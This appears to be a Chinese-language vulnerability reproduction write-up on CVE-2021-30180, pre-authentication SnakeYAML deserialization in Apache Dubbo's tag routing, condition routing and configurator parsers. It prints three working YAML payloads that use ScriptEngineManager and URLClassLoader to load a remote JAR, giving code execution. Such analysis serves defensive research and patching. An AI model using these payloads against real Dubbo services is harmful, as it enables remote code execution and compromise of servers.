Skip to main content

CVE-2021-30180 Apache Dubbo Tag routing Yaml pre-auth 反序列化漏洞 GHSL-2021-040、GHSL-2021-041、GHSL-2021-043

概述

影响版本

2.6.10、[2.7.0, 2.7.9]

首先看一下 漏洞披露邮件 是这样描述的,Dubbo 支持配置覆盖,这些配置被加载到配置中心(Zookeeper, Nacos等)。Dubbo 可以配置 Tag routing 规则使得 customer 请求到正确端点,该过程由 yaml 解析,所以存在预授权反序列化。

复现分析

TagRuleParser

通过 TagRouter 触发 org.apache.dubbo.rpc.cluster.router.tag.model.TagRuleParser#parse()

image-20240204100107693

这个漏洞比较好跟,直接就能定位到 org.apache.dubbo.rpc.cluster.router.tag.TagRouter#notify() 然后按照 ruleRepository.getRule() 解析的要求去构造就能复现了。

image-20240204100305200

---
tags:
- name: pwn
addresses:
- !!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:1234/SnakeyamlDemo-1.0.jar"]
]]
]

ConditionRuleParser

通过 ListenableRouter 触发的 org.apache.dubbo.rpc.cluster.router.condition.config.model.ConditionRuleParser 也存在问题

image-20240204105004759

限定了 Constructor,所以还得包装一下

---
conditions:
- !!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:1234/SnakeyamlDemo-1.0.jar"]
]]
]

image-20240204105023629

ConfigParser

org.apache.dubbo.rpc.cluster.configurator.parser.ConfigParser#parseObject() 也存在问题

image-20240204165501839

payload

---
configs:
- !!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:1234/SnakeyamlDemo-1.0.jar"]
]]
]

Dubbo 配置相关的漏洞触发起来都不难,在这两个类打断点,基本上就能知道需要什么配置了 org.apache.dubbo.common.config.configcenter.DynamicConfigurationorg.apache.dubbo.common.config.Environment